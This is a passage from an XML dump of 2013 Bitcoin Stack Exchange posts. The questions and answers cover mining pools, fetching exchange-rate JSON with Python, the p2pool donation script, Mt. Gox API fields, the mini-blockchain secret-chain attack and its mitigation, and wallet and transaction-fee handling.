LastEditorUserId="5793" LastEditDate="2015-02-26T00:23:35.207" LastActivityDate="2015-02-26T00:23:35.207" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12357" PostTypeId="2" ParentId="12275" CreationDate="2013-07-26T20:52:46.800" Score="1" Body="&lt;p&gt;I saw that newer drivers are broken, but some report good behaviour with 11.11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/samr7/vanitygen/issues/19&quot; rel=&quot;nofollow&quot;&gt;https://github.com/samr7/vanitygen/issues/19&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6101" LastEditorDisplayName="user3930" LastEditDate="2013-07-27T19:32:53.097" LastActivityDate="2013-07-27T19:32:53.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12360" PostTypeId="1" AcceptedAnswerId="12361" CreationDate="2013-07-27T13:05:49.387" Score="6" ViewCount="5869" Body="&lt;p&gt;&lt;strong&gt;The context is here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how exactly the new blockchain candidate was calculated in Bitcoin Network, so I guess it was based on a Merkle candidate of (a) bitcoin client/s. Also I presume that is by referring the diff of network, a client hashing the/a (golden) nonce, and then propagate it to the network, if lucky enough other nodes think this nonce is ok (the first), somewhere magic happened you get the coin (please enlighten me about this magic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct my understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So (if you know Hadoop)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite how actually &lt;code&gt;SHA(Midstate(nonce++))&lt;/code&gt; was implemented in a Reduce procedure (hashing/sec/energy), how could I generate new Merkle tree(s) and midstate candidate(s) in Hadoop way (huge number of them simultaneously)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your reading (hard to understand).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem (if prior has no big problem)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am proposing here is, if all this works, how could a mining pool like this benefit from Hadoop? (if it could)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If it really works, I'd implement raspberry pi to hook up hundreds of SHA asis of my own in distributed fashion.)&lt;/p&gt;&#xA;" OwnerUserId="6107" LastEditorUserId="5406" LastEditDate="2016-03-16T08:55:54.670" LastActivityDate="2016-03-16T08:55:54.670" Title="Could Hadoop be used as a mining pool architecture?" Tags="|mining-pools|mining-reward|block-header|" AnswerCount="1" CommentCount="1" ClosedDate="2016-03-16T08:57:41.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="12361" PostTypeId="2" ParentId="12360" CreationDate="2013-07-27T13:48:32.903" Score="4" Body="&lt;p&gt;Map Reduce isn't the best idea, because distributed mining is solved and works well.  The &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8034/1878&quot;&gt;magic of mining is described here&lt;/a&gt;, and when that is complete that Bitcoin protocol allows for 25 new Bitcoins to be send to any address.  This is encapsulated into a block that is either accepted (and used as the &quot;previous&quot; block), or rejected, for example if the protocol rules are broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your time is best spent running your own mining pool.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-07-27T13:48:32.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12362" PostTypeId="1" CreationDate="2013-07-27T19:58:15.923" Score="1" ViewCount="127" Body="&lt;p&gt;I have tried various attempts at calling the JSON from bitcoin charts using Javascripts, including using AJAX get method and also the getJson method, but neither are working for me. I saw ways on how to do it using Ruby, but I have no experience using that, so can anyone guide me to how or where I can get it done? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6109" LastActivityDate="2013-07-27T19:58:15.923" Title="Losing my mind trying to fetch the JSON from bitcoin charts" Tags="|live-data|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12364" PostTypeId="1" AcceptedAnswerId="12496" CreationDate="2013-07-28T00:39:46.563" Score="6" ViewCount="24543" Body="&lt;p&gt;This is a pretty classic programming question, but I think it is a very common one for the Bitcoin community, and would be helpful to have the code publicly available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference is for a php script.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Bitpay publishes it's exchange rates here: &lt;a href=&quot;https://bitpay.com/api/rates&quot; rel=&quot;noreferrer&quot;&gt;https://bitpay.com/api/rates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an item is $10 USD, how would I do the following?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) extract the BTC/USD exchange rate from the array at this URL&lt;br&gt;&#xA;2) Define the price, then divide by the exchange rate&lt;br&gt;&#xA;3) Display the BTC price in an HTML page?  &lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="5731" LastEditDate="2013-07-28T18:54:02.320" LastActivityDate="2019-12-12T15:34:36.347" Title="Displaying price in BTC based on USD exchange rate" Tags="|development|exchange-rate|bitpay|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12365" PostTypeId="1" CreationDate="2013-07-28T03:38:15.123" Score="5" ViewCount="673" Body="&lt;p&gt;I am working on the fork of p2pool to a new coin, and it seems that the donation script in the original could only accept BTC, etc.&#xA;How to change this script to a new address? It looks like something below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DONATION_SCRIPT = '51210241b8aba0994f320a8b438c627dbf31fbdd7dc722dd8418d829d67a9c6e4fd69021036fbd9d0a34a569f10b0431c8aeecf74ad796b99838b7272ef35ded130a794f9b52ae'.decode('hex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dig for a while, and could see that DONATION_SCRIPT[2:35] is pubkey of donation address, but what's the rest of them?&#xA;Any comments will be appreciated, thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="6114" LastEditorUserId="2306" LastEditDate="2015-03-18T19:32:46.757" LastActivityDate="2016-08-10T05:29:57.610" Title="How to change donation address of p2pool" Tags="|script|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12366" PostTypeId="2" ParentId="12364" CreationDate="2013-07-28T03:55:10.287" Score="3" Body="&lt;p&gt;Here is an example that retrieves the current current values from the json stream at &lt;a href=&quot;http://data.mtgox.com/api/2/BTCUSD/money/ticker&quot; rel=&quot;nofollow&quot;&gt;mtgox&lt;/a&gt; (current, low, average, last, and now).   It is written in python, but should be very easy to port it over to the language of your choice. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#https://github.com/spudstud/alfred-bitcoin-workflow&#xA;&#xA;     #json is the standard python json parser&#xA;     #urllib2 is a webpage fetching library&#xA;import json     &#xA;import urllib2  &#xA;&#xA;#The url that provides the raw json stream&#xA;url=&quot;http://data.mtgox.com/api/2/BTCUSD/money/ticker&quot;&#xA;&#xA;#Open the url and turn it into an string containing the json&#xA;jsonURL=urllib2.urlopen(url)&#xA;&#xA;#Convert the json text into a json object&#xA;jsonObject=json.load(jsonURL)&#xA;&#xA;#Parse the desired values out of the json object&#xA;currentValue    = jsonObject['data']['high']['display']&#xA;lowValue        = jsonObject['data']['low']['display']&#xA;avgValue        = jsonObject['data']['avg']['display']&#xA;lastValue       = jsonObject['data']['last']['display']&#xA;nowValue        = jsonObject['data']['now']&#xA;&#xA;#Sometimes your json is not a string,you will need to use json.load, not json.loads:&#xA;&#xA;print jsonObject&#xA;print currentValue&#xA;print lowValue&#xA;print avgValue&#xA;print lastValue&#xA;print nowValue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5731" LastActivityDate="2013-07-28T03:55:10.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12367" PostTypeId="1" CreationDate="2013-07-28T08:07:12.877" Score="1" ViewCount="780" Body="&lt;p&gt;In developing a miner, I noted a few &quot;unknown work&quot; errors -- presumably because I was CPU mining and not responding to the pool in a timely enough manner. However, more disturbingly, I received a H-not-zero error as well later on. My understanding of this is if the nonce returned to the pool doesn't give a block hash satisfying the difficulty target. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I verify the header and nonce myself, it certainly appears to satisfy a difficulty 1 target, and I did not have any difficulty changes other than the initial difficulty 1 set at the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other reason why I would receive H-not-zero?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block header is &#xA;020000000a6e91f0cfc53cbb762fb13cdd0065ed91c9cb71f084fd465200000000000000a83f774e89cfeb9629ced2b62f7157892b976e80abb5a769e3d5a5dff7c6155bf89af3516889001a00000000 and the nonce I returned was 06da803b, with a hash of 826ea471fffbd2b2355c8cef483f380f15df812ae66b4679d008c24800000000.&lt;/p&gt;&#xA;" OwnerUserId="5303" LastEditorUserId="5406" LastEditDate="2016-04-24T12:46:32.077" LastActivityDate="2016-04-24T12:46:32.077" Title="H-not-zero errors" Tags="|mining-technical-details|cpu-mining|nonce|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12368" PostTypeId="1" AcceptedAnswerId="12378" CreationDate="2013-07-28T11:57:57.930" Score="2" ViewCount="128" Body="&lt;p&gt;The Mt. Gox streaming API has a market depth channel. What is the &quot;price&quot; value given in that channel, and what does it represent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming#Depth&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/Streaming#Depth&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1028" LastActivityDate="2013-07-28T23:05:23.943" Title="Market Depth Price on Mt. Gox API?" Tags="|mtgox|api|market-depth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12369" PostTypeId="2" ParentId="12014" CreationDate="2013-07-28T12:01:57.233" Score="1" Body="&lt;p&gt;Rosenfeld's answer is pretty much correct. Note however that the attack can only be successful if the attacker generates a fake chain in secret and then starts broadcasting the fake chain after the mini-blockchain has completed a full cycle (and providing that the attacker has managed to keep up with the real chain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are aware of this attack vector and we've developed a contingency plan to deal with it should it ever occur. The paper sourced by the question asker is a little bit outdated now, we have a project wiki which covers a lot of things that the paper skipped over. The &lt;a href=&quot;http://bitfreak.info/mbc-wiki/index.php?title=Weaknesses_and_attack_vectors&quot; rel=&quot;nofollow&quot;&gt;Weaknesses and attack vectors&lt;/a&gt; page of the wiki discusses the &quot;secret chain attack&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Secret Chain Attack&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If an attacker had enough hashing power he could generate a fake chain&#xA;  in secret using the real proof chain but a fake account tree. He would&#xA;  need to out-pace the real mini-blockchain for a full cycle until&#xA;  there's no evidence left to indicate his account tree is fake and then&#xA;  start broadcasting the fake chain.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This wouldn't affect older nodes who have been validating blocks for&#xA;  longer than the cycle of the mini-blockchain because they could easily&#xA;  detect that the fake chain appeared out of thin air. If it appears to&#xA;  the node as if the chain popped out of thin air the node will simply&#xA;  assume that the chain has no valid origin point.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So there's no way the attacker could trick existing nodes to accept&#xA;  his fake chain, but new nodes are still at risk. New nodes have no&#xA;  way of determining which is the valid chain because they have no&#xA;  history of what happened before the oldest block in the&#xA;  mini-blockchain. Using some sort of consensus mechanism is not perfect&#xA;  either.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Minimizing risk of attack success&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If a new node detects multiple chains which originate from the same&#xA;  proof chain it can try to query other nodes for older blocks all the&#xA;  way to the block in which the competing chains diverged and if no one&#xA;  around has this long history (no one is required to have it) the node&#xA;  will simply refuse to participate in the network until the situation&#xA;  has been resolved.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It's unlikely the attack could last very long without the help of new&#xA;  nodes but just in case the community will release a new checkpoint&#xA;  pointing to the right chain as quickly as possible if this situation&#xA;  does arise. When the checkpoint is released new nodes will be able to&#xA;  safely join the network and help the other nodes work against the&#xA;  attacker.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Since this attack will only put new nodes at risk and since it will&#xA;  most likely never happen, this strategy is an acceptable contingency&#xA;  plan for dealing with the attack. Worse case scenario is that new&#xA;  nodes have to wait until a new checkpoint is released which points to&#xA;  the real chain. Businesses already running a node would not be&#xA;  affected in any way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6116" LastActivityDate="2013-07-28T12:01:57.233" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12371" PostTypeId="2" ParentId="12163" CreationDate="2013-07-28T15:52:29.550" Score="1" Body="&lt;p&gt;It's been reported that ltc wallet is DOWN and people have been scammed. Unfortunately there isn't a reputable online ltc wallet at the moment that I'd trust with a 10 foot pole. The ones that have come are just as quickly gone run by fly by night scammers. You're best off encrypting your wallet with a very secure password and making multiple copies of your wallet file that you store in remote, secure locations if you want to protect yourself from loss should your drive ever die on you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option would be to start an account at an exchange that trades in litecoin and use it as your online wallet. Just be sure to use a well established exchange, of which I'm only aware of btc-e.com&lt;/p&gt;&#xA;" OwnerUserId="6117" LastActivityDate="2013-07-28T15:52:29.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12373" PostTypeId="2" ParentId="12364" CreationDate="2013-07-28T18:18:35.997" Score="7" Body="&lt;p&gt;May be useful psp(python) example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;%psp&#xA;import urllib2;     &#xA;import simplejson as json;     &#xA;j = json.loads(urllib2.urlopen(&quot;https://data.mtgox.com/api/2/BTCUSD/money/ticker&quot;).read());     &#xA;%&amp;gt;&#xA;&#xA;&amp;lt;%=str(j[&quot;data&quot;][&quot;last&quot;][&quot;value&quot;]) %&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or one command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /usr/bin/python -c 'import urllib2; import simplejson as json; j = json.loads(urllib2.urlopen(&quot;https://data.mtgox.com/api/2/BTCUSD/money/ticker&quot;).read()); print str(j[&quot;data&quot;][&quot;last&quot;][&quot;value&quot;]);'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6108" LastActivityDate="2013-07-28T18:18:35.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12374" PostTypeId="1" CreationDate="2013-07-28T18:31:50.863" Score="6" ViewCount="4304" Body="&lt;p&gt;Suppose I want to search for a transaction of &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1j7y2y/yesterday_i_represented_a_client_who_paid_445/&quot; rel=&quot;noreferrer&quot;&gt;exactly 445 BTC&lt;/a&gt; in the date range 27 July 2013 and Aug 3rd 2013 ... is there an (online?) tool that has this kind of search capabilities?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorDisplayName="user5747" LastEditDate="2013-07-29T05:29:01.197" LastActivityDate="2019-11-15T15:01:40.247" Title="Is there a tool that searches for a specific BTC amount in a specific date range?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12376" PostTypeId="2" ParentId="9441" CreationDate="2013-07-28T18:58:16.527" Score="0" Body="&lt;p&gt;I can't possibly imagine to connect *coin, or P2P application in general, via TOR. They run slower and TOR from scratch wasn't designed for tunneling bandwidth hungry application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you insisted, it would be safer to have private exit node, or frequently change identity per 15 minutes or so. You can use same SOCKS port for all, they use same exit node.&lt;/p&gt;&#xA;" OwnerUserId="6118" LastActivityDate="2013-07-28T18:58:16.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12377" PostTypeId="2" ParentId="7708" CreationDate="2013-07-28T20:05:33.187" Score="5" Body="&lt;p&gt;Check out &lt;a href=&quot;https://github.com/ValleZ/Paper-Wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ValleZ/Paper-Wallet&lt;/a&gt; - it is android lite project what does this task. Start with createTransaction method in &lt;a href=&quot;https://github.com/ValleZ/Paper-Wallet/blob/master/app/src/main/java/ru/valle/btc/BTCUtils.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ValleZ/Paper-Wallet/blob/master/app/src/main/java/ru/valle/btc/BTCUtils.java&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2017-07-16T21:43:34.573" LastActivityDate="2017-07-16T21:43:34.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12378" PostTypeId="2" ParentId="12368" CreationDate="2013-07-28T23:05:23.943" Score="1" Body="&lt;p&gt;It's the price per BTC for the specified order. The &quot;type_str&quot; field specifies the type of order (&quot;ask&quot; or &quot;bid&quot;), the currency specifies the currency in which the price is quoted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example listed refers to an &quot;ask&quot; order of 14.43 USD/BTC.&lt;/p&gt;&#xA;" OwnerDisplayName="user3930" LastActivityDate="2013-07-28T23:05:23.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12380" PostTypeId="1" CreationDate="2013-07-29T01:21:30.467" Score="0" ViewCount="1809" Body="&lt;p&gt;I'm building a webapp that needs to update account info and send a message when an account's address gets a deposit, and/or confirm withdrawals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what the best way to do this is. Would you have a separate application keep sending API calls to blockchain.info until a new transaction comes through? Then initiate the right callback function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using blockchain.info seems flimsy since it's a 3rd party service. How would you do this monitoring the bitcoin network? It seems like using any bitcoin client would rely on some commandline action. Would the best way be continuing to send the commandline action out until the returned data is different, and then initiate the callback? Is there a better design pattern that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="4368" LastEditorUserId="4368" LastEditDate="2013-07-29T12:53:53.867" LastActivityDate="2014-02-26T16:39:57.183" Title="how to do address callbacks?" Tags="|transactions|blockchain-wallet-app|transaction-verification|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12381" PostTypeId="1" CreationDate="2013-07-29T01:54:27.620" Score="2" ViewCount="1073" Body="&lt;p&gt;Suppose I'm developing a Bitcoin-based Android app.  It could do anything: user pays Bitcoins to play a game, order a pizza, accept charitable donations.  Whatever it does, it does it in Bitcoins, and it's targeted to people who are Bitcoin savvy and probably already have the ability to access Bitcoins on their Android device.  I don't want to deal with the user's wallet, nor do I want the user to have to trust their wallet to my app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of two ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;1) there already is a Bitcoin wallet app that runs an  Android Provider that my app can access.  When I need to send Bitcoins from the wallet, my app communicates with the Provider, and the other app gets the user's approval and protects their wallet from my app stealing their Bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;2) There is a Bitcoin wallet app that I can send an Android Intent to, and as in #1 that other app confirms the user's approval before any Bitcoins leave the wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Am I missing another way to do this?  To make an app that can send the user's Bitcoins without me touching the wallet directly but using some other app they already trust?  (And without cutting and pasting a Bitcoin address.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assuming this is the way to do it, are there any such Android apps?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A search of Google Play for &quot;Bitcoin&quot; turns up many results, but from a small sample the only ones I've seen that actually transfer Bitcoins seem to work off QR codes or NFC.  They will interact with other Android devices, but I don't see one that interacts with other Android apps on the same device.  But then again, I doubt the description for end users would have information like that.&lt;/p&gt;&#xA;" OwnerUserId="6122" LastActivityDate="2020-03-02T11:57:52.787" Title="Is there an Android Bitcoin app that can interact with other Android Apps on the same device?" Tags="|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12385" PostTypeId="1" AcceptedAnswerId="12386" CreationDate="2013-07-29T10:44:12.257" Score="3" ViewCount="120" Body="&lt;p&gt;E.g. a desktop client that can manage, in a unified UI, Bitcoin, Namecoin, Litecoin, PPCoin...?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-07-29T21:09:34.067" Title="Are there clients that manage several alts?" Tags="|client|alternatives|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12386" PostTypeId="2" ParentId="12385" CreationDate="2013-07-29T11:51:50.473" Score="2" Body="&lt;p&gt;Ufasoft open source client can manage different alt-coins, most of them with same private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=58821.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=58821.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: be careful, some users have reported malware in Ufasoft mining software.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2013-07-29T17:44:14.443" LastActivityDate="2013-07-29T17:44:14.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12387" PostTypeId="2" ParentId="1639" CreationDate="2013-07-29T12:50:24.497" Score="0" Body="&lt;p&gt;I found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/c00w/bitHopper&quot; rel=&quot;nofollow&quot;&gt;https://github.com/c00w/bitHopper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By simple request on github: &quot;bitcoin&quot;, on the pretty 3rd page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/search?p=3&amp;amp;q=bitcoin&amp;amp;ref=cmdform&amp;amp;type=Repositories&quot; rel=&quot;nofollow&quot;&gt;https://github.com/search?p=3&amp;amp;q=bitcoin&amp;amp;ref=cmdform&amp;amp;type=Repositories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are great amount of pools:&#xA;&lt;a href=&quot;https://github.com/c00w/bitHopper/blob/master/POOLS_INFO&quot; rel=&quot;nofollow&quot;&gt;https://github.com/c00w/bitHopper/blob/master/POOLS_INFO&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Project up to date, looks good. May be useful for you.&lt;/p&gt;&#xA;" OwnerUserId="6108" LastActivityDate="2013-07-29T12:50:24.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12388" PostTypeId="2" ParentId="8985" CreationDate="2013-07-29T14:00:21.460" Score="4" Body="&lt;p&gt;This step-by-step how-to assumes you are using Windows 7 and installed Bitcoin-Qt to the default directory.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure Bitcoin-Qt is not running&lt;/li&gt;&#xA;&lt;li&gt;Create a desktop shortcut&lt;/li&gt;&#xA;&lt;li&gt;Right click on the shortcut&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;Properties&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the &quot;target&quot; box, add &lt;code&gt;-datadir=&quot;the new data directory&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move everything in C:/Users/&quot;your user name&quot;/AppData/Roaming/Bitcoin/ to your new data directory.&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin-Qt with your new shortcut.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6126" LastEditorUserId="1405" LastEditDate="2014-09-08T05:24:30.987" LastActivityDate="2014-09-08T05:24:30.987" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12389" PostTypeId="1" AcceptedAnswerId="12434" CreationDate="2013-07-29T14:40:54.340" Score="2" ViewCount="248" Body="&lt;p&gt;I'm attempting to use the &lt;code&gt;createrawtransaction&lt;/code&gt; to manually create my transactions and I want to (obviously) reduce my fees. The complication I'm having is that I want to send &lt;strong&gt;ALL&lt;/strong&gt; of the bitcoins in my wallet to 2 parties. So I know that I can specify the inputs and outputs, but there's that pesky fee concept which makes it difficult to just spend it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I have 5 inputs and 2 outputs, how would I go about calculating exactly what the fee will be and reducing it?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-07-31T19:18:45.490" Title="What's a good algorithm for reducing Transaction fees?" Tags="|transaction-fees|api|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12390" PostTypeId="2" ParentId="1936" CreationDate="2013-07-29T15:39:00.270" Score="-3" Body="&lt;p&gt;It does not matter where code is situated. Github may be used just for first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is about developers. Anybody who can commit to master branch, can inject malicious code. It will be a little mistake in math, parser, network stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also may be a group of coders, they will try to hide this injection with mass commit to code, with preposition to improve bad places, e.g. improve db size( v0.7 -&gt; v0.8 ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Behind them may stay a great government's structure, like NSA or FBI, CIA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such injection was in OpenBSD project early. One of the developers collaborated with FBI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only God know what kind of mistakes(backdoors) contain mass commit by Microsoft to Linux kernel(v3.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 10 cents of paranoia.&lt;/p&gt;&#xA;" OwnerUserId="6108" LastActivityDate="2013-07-29T15:39:00.270" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12391" PostTypeId="1" AcceptedAnswerId="21390" CreationDate="2013-07-29T17:28:33.997" Score="1" ViewCount="288" Body="&lt;p&gt;Blockchaininfo has data&lt;a href=&quot;http://blockchain.info/charts/avg-confirmation-time&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on the confirmation times for transactions. Unfortunately it is unclear how  they collect the data, nor if one could get similar data from say Namecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to include that data in a research paper or collect similar data myself. However,  without their methodology, I cannot use their data or  nor can I duplicate the techniques.The trivially obvious solution of sending test transactions and measuring how long they take to be confirmed would seem to offer a rather incomplete picture.&lt;/p&gt;&#xA;" OwnerUserId="1558" LastEditorUserId="1558" LastEditDate="2014-01-30T08:05:33.363" LastActivityDate="2014-01-30T09:39:13.783" Title="How to measure TX confirmation latency" Tags="|confirmations|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12392" PostTypeId="1" CreationDate="2013-07-29T18:32:00.820" Score="0" ViewCount="1154" Body="&lt;p&gt;&lt;br&gt;&#xA;after reading bitcoin wiki &quot;Proper money handling&quot; I supposed that there shouldn't be any precision problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, sending/moving for instance 16999999.99999999 sends/moves 17000000.&#xA;I figured out where the problem is:&lt;br&gt;&#xA;- PHP stores float value with sufficient precision. I can printf it with 8 correct digits after dot.&lt;br&gt;&#xA;- json-rpc php library copies that float into &quot;params&quot; array, and again, precision is fine.&lt;br&gt;&#xA;- Unfortunately, string produced by json_encode() used in json-rpc library contains &quot;rounded&quot; value, so there is a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can I force json_encode() to output 8 digits (or more)? Or do I have to write my own, which isn't very complicated, but will be rather slower than standard function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note those topics about problems with floats in PHP and Python on bitcointalk, so it is not my fault. One of the results of this issue is genjix branch of bitcoin, that sends amounts as strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2014-04-05T01:58:51.107" Title="Can I force json_encode in PHP to output 8 digits after dot for RPC?" Tags="|json-rpc|php|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
